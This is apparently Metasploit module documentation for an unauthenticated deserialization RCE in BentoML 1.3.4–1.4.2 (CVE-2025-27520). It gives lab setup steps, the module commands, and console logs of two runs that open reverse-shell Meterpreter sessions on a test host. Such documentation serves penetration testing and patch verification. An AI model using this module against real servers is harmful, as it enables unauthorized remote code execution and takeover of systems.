## Vulnerable Application

A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the v1.4.2 of BentoML.
It allows any unauthenticated user to execute arbitrary code on the server.

The vulnerability affects:

    * 1.3.4 <= BentoML < 1.4.3

This module was successfully tested on:

    * BentoML 1.4.2 installed on Ubuntu 24.04


### Installation

1. `pip install -U bentoml==1.4.2`

2. Define APIs in a service.py file:

```python3
import bentoml


@bentoml.service(resources={"cpu": "2"})
class Summarization:
    @bentoml.api(batchable=True)
    def summarize(self, texts):
        return texts
```

3. `bentoml serve --host 0.0.0.0`


## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/linux/http/bentoml_rce_cve_2025_27520`
4. Do: `run lhost=<lhost> rhost=<rhost>`
5. You should get a meterpreter


## Options

###  ENDPOINT (optional)
Endpoint to use.


## Scenarios

### Python payload
```
msf > use exploit/linux/http/bentoml_rce_cve_2025_27520
[*] Using configured payload python/meterpreter/reverse_tcp
msf exploit(linux/http/bentoml_rce_cve_2025_27520) > options

Module options (exploit/linux/http/bentoml_rce_cve_2025_27520):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   ENDPOINT                   no        Endpoint to use
   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT     3000             yes       The target port (TCP)
   SSL       false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                      no        HTTP server virtual host


Payload options (python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Python payload



View the full module info with the info, or info -d command.

msf exploit(linux/http/bentoml_rce_cve_2025_27520) > set target Python\ payload
target => Python payload
msf exploit(linux/http/bentoml_rce_cve_2025_27520) > run lhost=192.168.56.1 rhost=192.168.56.16
[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 1.4.2 detected, which is vulnerable.
[*] Use /summarize as api endpoint.
[*] Sending stage (24772 bytes) to 192.168.56.16
[*] Expected error occurred.
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:34930) at 2025-04-16 21:44:13 +0900

meterpreter > getuid
Server username: ubu
meterpreter > sysinfo
Computer        : vul
OS              : Linux 6.8.0-56-generic #58-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 14 15:33:28 UTC 2025
Architecture    : x64
System Language : C
Meterpreter     : python/linux
meterpreter > 
```

### Linux command
```
msf exploit(linux/http/bentoml_rce_cve_2025_27520) > set target Linux\ Command
target => Linux Command
msf exploit(linux/http/bentoml_rce_cve_2025_27520) > run lhost=192.168.56.1 rhost=192.168.56.16
[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 1.4.2 detected, which is vulnerable.
[*] Use /summarize as api endpoint.
[*] Expected error occurred.
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:35272) at 2025-04-16 21:45:17 +0900

meterpreter > getuid
Server username: ubu
meterpreter > sysinfo
Computer     : 192.168.56.16
OS           : Ubuntu 24.04 (Linux 6.8.0-56-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 
```
